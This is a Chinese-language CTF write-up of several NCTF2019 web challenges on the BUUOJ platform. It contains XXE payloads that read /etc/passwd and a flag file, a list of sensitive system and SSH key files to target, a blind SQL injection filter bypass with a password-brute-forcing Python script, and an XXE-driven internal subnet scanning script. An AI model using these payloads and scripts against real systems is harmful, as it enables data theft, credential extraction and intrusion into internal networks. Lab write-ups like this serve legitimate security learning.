NCTF2019

[NCTF2019]Fake XML cookbook

登录的时候抓包一看这不就是xxe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Request:

POST /doLogin.php HTTP/1.1
Host: 3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81
Content-Length: 57
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81
Referer: http://3fdddced-f473-4d1e-86ac-2ff88fc97627.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

<user><username>1</username><password>1</password></user>

写个poc,最简单的应该算是

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

[NCTF2019]SQLi

扫描出来,访问robots.txt

1
2
User-agent: * 
Disallow: /hint.txt

hint.txt

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

查看源代码发现

1
select * from users where username='' and passwd=''

过滤了挺多的东西,这里使用

/**/绕过空格,然后%00当注释

在使用\转义一个引号

1
select * from users where username='\' and passwd='||1;%00'

这里的判断语句要根据状态码?,不知道,继续看,那么我们要爆出密码来

这里使用一个正则的姿势

1
select * from users where username='\' and passwd='||passwd/**/regexp/**/"^a";%00'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Request:

POST /index.php HTTP/1.1
Host: 6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

username=\&passwd=||passwd/**/regexp/**/"^y";%00

回显

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Response:

HTTP/1.1 302 Found
Server: openresty
Date: Sun, 15 Sep 2024 08:02:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2249
Connection: close
X-Powered-By: PHP/5.6.40
location: welcome.php
Cache-Control: no-cache

也就是说我们可以使用welcome来判断

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from urllib import parse
import time

strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
# 不用大写
url = 'http://6ffc007b-7d5d-4460-9bdd-e8d362d38d81.node5.buuoj.cn:81/index.php'
passwd = ""
i = 0

while i < 80:
    for one_char in strings:
        data = {
            'username':'\\',# 一个斜杠不能达到效果
            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') #在python中对url进行解码
                                                   #  实现"^字符串"
        }
        rs = requests.post(url,data).content.decode('utf-8')
        # 必须把响应包解码
        time.sleep(0.01)
        if 'welcome' in rs:
            passwd += one_char
            print("\r", end="")#动态更新内容(进度条)
            print('已匹配到前'+str(i+1)+'位'+' | '+str(passwd),end='')
            i += 1
            break
        if one_char=='~' and 'welcome' not in rs:
            print('\n密码共'+str(i)+'位,已匹配完成')
            i = 80
            break

爆破出来之后,只能在bp里面发包才行,不然是不成功的

[NCTF2019]True XML cookbook

本人xxe也不好,但是这道题应该的考点就是读取敏感文件

/etc/passwd /etc/shadow /etc/hosts /root/.bash_history //root的bash历史记录 /root/.ssh/authorized_keys /root/.mysql_history //mysql的bash历史记录 /root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件 /var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件 /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/mounts // 挂载的文件系统列表 /proc/net/arp //arp表,可以获得内网其他机器的地址 /proc/net/route //路由表信息 /proc/net/tcp and /proc/net/udp // 活动连接的信息 /proc/net/fib_trie // 路由缓存 /proc/version // 内核版本 /proc/[PID]/cmdline // 可能包含有用的路径信息 /proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd // 当前进程的工作目录 /proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log ssh /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1

/etc/hosts

/proc/net/arp

/proc/net/tcp

/proc/net/udp

/proc/net/dev

/proc/net/fib_trie

那么写个poc

1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
 ]>
<user><username>&file;</username><password>456</password></user>

然后貌似是没有什么东西可以用

那读取IP看看,内网里面应该有东西

1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///proc/net/fib_trie">
 ]>
<user><username>&file;</username><password>456</password></user>

得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Main:
  +-- 0.0.0.0/0 3 0 5
     +-- 0.0.0.0/4 2 0 2
        |-- 0.0.0.0
           /0 universe UNICAST
        |-- 10.244.166.68
           /32 host LOCAL
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     |-- 169.254.1.1
        /32 link UNICAST
Local:
  +-- 0.0.0.0/0 3 0 5
     +-- 0.0.0.0/4 2 0 2
        |-- 0.0.0.0
           /0 universe UNICAST
        |-- 10.244.166.68
           /32 host LOCAL
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     |-- 169.254.1.1
        /32 link UNICAST

169.254.1.110.244.166.68

本来想直接用bp爆破的,但是发现直接给我卡死了

写个EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time

url = "http://233b23f0-319d-4629-a9d4-e4075e49f8e1.node5.buuoj.cn:81/doLogin.php"

# 定义XML数据模板
data_template = '''
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "http://10.244.166.{}">
]>
<user><username>&file;</username><password>456</password></user>
'''

# HTTP请求的头信息
headers = {
    'Content-Type': 'application/xml',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}

# 循环遍历IP地址的最后一段
for i in range(1, 256):
    # 使用模板格式化当前的IP地址
    data = data_template.format(i)
    
    try:
        # 发送 POST 请求
        r = requests.post(url=url, headers=headers, data=data, timeout=1)

        # 打印调试信息:状态码和响应内容
        print(f"Trying IP: 10.244.166.{i} -> Status Code: {r.status_code}")

        # 检查响应内容中是否包含flag标志
        if 'flag{' in r.text:
            print(f"Flag found at 10.244.166.{i}: {r.text}")
            break  # 找到flag后退出循环
        else:
            print(f"10.244.166.{i}: No flag found.")

    except requests.exceptions.Timeout:
        # 处理请求超时的情况
        print(f"Timeout occurred at 10.244.166.{i}, skipping.")
    except requests.exceptions.RequestException as e:
        # 捕获其他网络相关错误
        print(f"An error occurred at 10.244.166.{i}: {e}")

    # 等待0.3秒以避免请求过快,过于频繁可能会触发限速机制
    time.sleep(0.3)

中途写脚本的时候始终跑不起来,超时504,后面加了一个捕捉错误就可以了

[NCTF2019]phar matches everything

这道题涉及的不会的有点多,先欠着

赞赏支持

Licensed under CC BY-NC-SA 4.0